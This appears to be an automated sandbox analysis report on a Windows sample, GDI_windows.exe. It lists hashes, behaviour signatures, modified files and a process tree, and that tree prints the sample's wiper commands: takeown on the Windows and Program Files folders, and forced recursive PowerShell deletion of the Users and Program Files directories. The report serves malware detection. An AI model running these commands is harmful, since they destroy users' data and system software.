Analysis
- user interaction
yes - max time kernel
137s - max time network
141s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260130-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
24/04/2026, 02:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
GDI_windows.exe
Resource
win10ltsc2021-20260130-en
windows10-ltsc_2021-x64
9 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target GDI_windows.exe
- Size 250KB
- Sample260424-dffwssdv6w
- SHA256 514607ae5262de5dd71639bb23312a09cc9d76405966bbd5f28b3cf74d78e11b
- MD5 fbf732d43384494f48fff594a57783e2
- SHA1 f2dd248083f9578c86c06961252e581e2d8fed8e
- SHA512 01f5743c17c1ba75dbe075ce8de6883b6a77ce3a57cf99b8ae32179e915bc3c7de7171946627b122f4d7a6d5dbc46e02737d18365f603ed825aa7a53df9616b7
- SSDEEP 1536:FlpH8uIi/XGVKrA85QnahQviQskOKHBUZePs1T5XrCWV9CJW4ZtXws3cf73nmGO+:VH8uJwKrI2fUFcltl8evXqXHzCL57H
- TLSH T15F444A86FB96AD97DA15023FCDDF836E3338F3D046878B175A3876301A536D1AD86206
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Drops desktop.ini file(s) 45 IoCs
description ioc Process File opened for modification C:\Users\Admin\Desktop\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini powershell.exe File opened for modification C:\Users\Admin\3D Objects\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini powershell.exe File opened for modification C:\Users\Public\Documents\desktop.ini powershell.exe File opened for modification C:\Program Files\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Documents\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Music\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Videos\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini powershell.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini powershell.exe File opened for modification C:\Users\Public\Desktop\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Searches\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini powershell.exe File opened for modification C:\Users\Public\Videos\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini powershell.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini powershell.exe File opened for modification C:\Users\Public\Downloads\desktop.ini powershell.exe File opened for modification C:\Users\Public\Music\desktop.ini powershell.exe File opened for modification C:\Users\Public\Pictures\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Links\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini powershell.exe File opened for modification C:\Users\Public\Libraries\desktop.ini powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI powershell.exe File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini powershell.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini powershell.exe File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini powershell.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini powershell.exe File opened for modification C:\Users\Public\desktop.ini powershell.exe File opened for modification C:\Program Files (x86)\desktop.ini powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\WINDOWS\SysWOW64\config\OSDATAfH GDI_windows.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-tw powershell.exe File opened for modification C:\Program Files (x86)\Windows Mail\wabmig.exe powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\servertool.exe powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it\UIAutomationProvider.resources.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\tr\UIAutomationProvider.resources.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\THMBNAIL.PNG powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ro.pak powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.147.37\msedgeupdateres_pa.dll powershell.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\main.xml powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\cursors.properties powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ACEEXCH.DLL powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt powershell.exe File opened for modification C:\Program Files\Mozilla Firefox\libGLESv2.dll powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls powershell.exe File opened for modification C:\Program Files\Google\Chrome\Application\140.0.7339.81\Locales\pt-PT_NEUTER.pak powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTrial4-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\FilterModule.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\REFINED.INF powershell.exe File opened for modification C:\Program Files\Windows Media Player\de-DE\wmpnssci.dll.mui powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\sr-Latn-RS.pak.DATA powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\splashscreen.dll powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\vcruntime140_1.dll powershell.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fonts powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\msedgeupdateres_es-419.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\rsod\onenotemui.msi.16.en-us.boot.tree.dat powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\ACEODBCI.DLL powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\tr.pak powershell.exe File opened for modification C:\Program Files\Common Files\microsoft shared\MSInfo\en-US powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\de\System.Windows.Input.Manipulations.resources.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\cs\System.Windows.Forms.Design.resources.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\ADAL.DLL powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365BusinessR_Subscription-ul-oob.xrm-ms powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nb-no powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\System.Threading.Channels.dll powershell.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe\Assets\UnknownErrorIllustration.theme-dark.png powershell.exe File opened for modification C:\Program Files\Google\Chrome\Application\140.0.7339.81\Locales\pl.pak powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfig.xml powershell.exe File opened for modification C:\Program Files\CompressApprove.ADT powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\System.Drawing.Design.dll powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pl-pl\ui-strings.js powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_Trial-pl.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL082.XML powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\msedgeupdateres_hu.dll powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\ko\UIAutomationTypes.resources.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-checkmark.png powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN\PREVIEW.GIF powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\sk-sk\ui-strings.js powershell.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\ink\en-US\mshwLatin.dll.mui powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_Trial-ppd.xrm-ms powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Infragistics2.Win.v11.1.dll powershell.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu powershell.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.147.37\msedgeupdateres_tt.dll powershell.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\es\System.Data.DataSetExtensions.Resources.dll powershell.exe File opened for modification C:\Program Files (x86)\Windows Media Player\de-DE\wmpnssui.dll.mui powershell.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo powershell.exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\it-IT powershell.exe File opened for modification C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\es\PresentationFramework.resources.dll powershell.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles\linesstylish.dotx powershell.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 3848 powershell.exe 3124 powershell.exe 4988 powershell.exe - System Location Discovery: System Language Discovery 1 TTPs 11 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GDI_windows.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe - Kills process with taskkill 1 IoCs
pid Process 4344 taskkill.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4988 powershell.exe 4988 powershell.exe 3848 powershell.exe 3848 powershell.exe 3124 powershell.exe 3124 powershell.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4344 taskkill.exe Token: SeDebugPrivilege 4548 GDI_windows.exe Token: SeDebugPrivilege 4988 powershell.exe Token: SeDebugPrivilege 3848 powershell.exe Token: SeDebugPrivilege 3124 powershell.exe Token: SeShutdownPrivilege 4548 GDI_windows.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4548 wrote to memory of 1044 4548 GDI_windows.exe 85 PID 1044 wrote to memory of 4344 1044 cmd.exe 86 PID 4548 wrote to memory of 4772 4548 GDI_windows.exe 88 PID 4772 wrote to memory of 5956 4772 cmd.exe 89 PID 4772 wrote to memory of 1464 4772 cmd.exe 90 PID 4548 wrote to memory of 3648 4548 GDI_windows.exe 93 PID 3648 wrote to memory of 4988 3648 cmd.exe 94 PID 4548 wrote to memory of 3272 4548 GDI_windows.exe 95 PID 3272 wrote to memory of 3848 3272 cmd.exe 96 PID 3272 wrote to memory of 3124 3272 cmd.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe"C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe"1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im chrome.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4344
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cmd.exe /c 'takeown /f C:\Windows\* /r /d y' & cmd.exe /c 'takeown /f C:\Program*\* /r /d y' &Å2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\SysWOW64\cmd.execmd.exe /c 'takeown /f C:\Windows\* /r /d y'3⤵
- System Location Discovery: System Language Discovery
PID:5956
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c 'takeown /f C:\Program*\* /r /d y'3⤵
- System Location Discovery: System Language Discovery
PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAfH2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*3⤵
- Drops desktop.ini file(s)
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4988
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\* &powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAfH2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\*3⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*3⤵
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4fc 0x4541⤵PID:2852
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 1KB
- SHA256 1f4966c208f72a652bc4fe09dcb6f725b6a25543e3f4124e4164bb95da9d6713
- MD5 daecd2bfb3ec6c7c945161c09d73a2d2
- SHA1 0f8b30932c84f71ee37d346155dceeb72c40149f
- SHA512 935af1b008110224ce5e03aa1daa792aada28ff65c00fa3b8998f7f439b16121a7bca011890f8515edfe576d8ae91de135bf1f021e2c0ece5544aab329465792
- TLSH T169415F303161B5D90D425F1219286EC563EF8749AFAC9F5CB569231DCE2B44BD7221F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 fbab2437f6c369d65686d1323d4476aa971128409d18b72fc7b000fba5961858
- MD5 288e23a9fde7ff85ba572316d343f9f8
- SHA1 903504bc53b2422da2450a6e3f4bc0affa6b392f
- SHA512 caa6b55af46250df379e1af1dfa5b06da3dd91e652874dc77f11359bc9a5f322d080ba5ab6e722e6de27e0432cb70827124031aaf38ed7ecdc75a4e91afd77e7
- SSDEEP 384:safQNWIUqGw0E6svaOkCwvygYmY0wVei//:jf5ZBE6svgjyJmJ2
- TLSH T10772D6032E82CF3AC47E7E7ADAF1145F6F5A36B2DF843B56217660009DF1952AB87490
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 785cd4855f9e7472c67ed8a75c7fea5278627a08e623e6f79a5dad3a3fcaf25d
- MD5 2b9689dc3b8693f02f20276333b09ec3
- SHA1 927b94e00ebdfe4d86c42c9b854af9391d610cb6
- SHA512 165f7bb32740fdc38e352273ea78ad295f34f67df2308e16c445f6a4e7c07a508dc39a5f4baaac6438dc72f2bccfd83fd0d4fd6a43e980a3f75b5b85a4fcf466
- SSDEEP 384:/afQrWM9oC/t3qMjESm2lDsPDkYHiJtAxu:SfHM9oTMbwfmp
- TLSH T1AE72A41E61A78CFEDBC060B1994E03CFEFE4D850A731B68EA54EBA555CD783D92200D8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejjq435b.5mg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH